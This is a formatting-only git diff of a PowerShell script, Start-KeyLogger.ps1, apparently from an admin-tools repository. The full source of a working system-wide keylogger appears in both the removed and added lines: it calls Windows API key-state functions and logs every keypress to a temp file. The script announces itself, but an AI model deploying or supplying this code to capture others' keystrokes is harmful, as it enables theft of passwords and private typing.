Update script format

Author: lazywinadmin

TOOL-Start-KeyLogger/Start-KeyLogger.ps1

@@ -1,7 +1,6 @@
-#requires -Version 2
-function Start-KeyLogger($Path = "$env:temp\keylogger.txt")
-{
-	<#
+#requires -Version 2
+function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
+    <#
 	.DESCRIPTION
 		By accessing the Windows low-level API functions, a script can constantly
 		monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
@@ -12,8 +11,8 @@ function Start-KeyLogger($Path = "$env:temp\keylogger.txt")
 	.NOTES
 		http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
 	#>
-	# Signatures for API Calls
-	$signatures = @'
+    # Signatures for API Calls
+    $signatures = @'
 [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
 public static extern short GetAsyncKeyState(int virtualKeyCode);
 [DllImport("user32.dll", CharSet=CharSet.Auto)]
@@ -24,60 +23,54 @@ public static extern int MapVirtualKey(uint uCode, int uMapType);
 public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
 '@
 
-	# load signatures and make members available
-	$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
+    # load signatures and make members available
+    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
 
-	# create output file
-	$null = New-Item -Path $Path -ItemType File -Force
+    # create output file
+    $null = New-Item -Path $Path -ItemType File -Force
 
-	try
-	{
-		Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
+    try {
+        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
 
-		# create endless loop. When user presses CTRL+C, finally-block
-		# executes and shows the collected key presses
-		while ($true)
-		{
-			Start-Sleep -Milliseconds 40
+        # create endless loop. When user presses CTRL+C, finally-block
+        # executes and shows the collected key presses
+        while ($true) {
+            Start-Sleep -Milliseconds 40
 
-			# scan all ASCII codes above 8
-			for ($ascii = 9; $ascii -le 254; $ascii++)
-			{
-				# get current key state
-				$state = $API::GetAsyncKeyState($ascii)
+            # scan all ASCII codes above 8
+            for ($ascii = 9; $ascii -le 254; $ascii++) {
+                # get current key state
+                $state = $API::GetAsyncKeyState($ascii)
 
-				# is key pressed?
-				if ($state -eq -32767)
-				{
-					$null = [console]::CapsLock
+                # is key pressed?
+                if ($state -eq -32767) {
+                    $null = [console]::CapsLock
 
-					# translate scan code to real code
-					$virtualKey = $API::MapVirtualKey($ascii, 3)
+                    # translate scan code to real code
+                    $virtualKey = $API::MapVirtualKey($ascii, 3)
 
-					# get keyboard state for virtual keys
-					$kbstate = New-Object Byte[] 256
-					$checkkbstate = $API::GetKeyboardState($kbstate)
+                    # get keyboard state for virtual keys
+                    $kbstate = New-Object Byte[] 256
+                    $checkkbstate = $API::GetKeyboardState($kbstate)
 
-					# prepare a StringBuilder to receive input key
-					$mychar = New-Object -TypeName System.Text.StringBuilder
+                    # prepare a StringBuilder to receive input key
+                    $mychar = New-Object -TypeName System.Text.StringBuilder
 
-					# translate virtual key
-					$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
+                    # translate virtual key
+                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
 
-					if ($success)
-					{
-						# add key to logger file
-						[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
-					}
-				}
-			}
-		}
-	}
-	finally
-	{
-		# open logger file in Notepad
-		notepad $Path
-	}
+                    if ($success) {
+                        # add key to logger file
+                        [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
+                    }
+                }
+            }
+        }
+    }
+    finally {
+        # open logger file in Notepad
+        notepad $Path
+    }
 }
 
 # records all key presses until script is aborted by pressing CTRL+C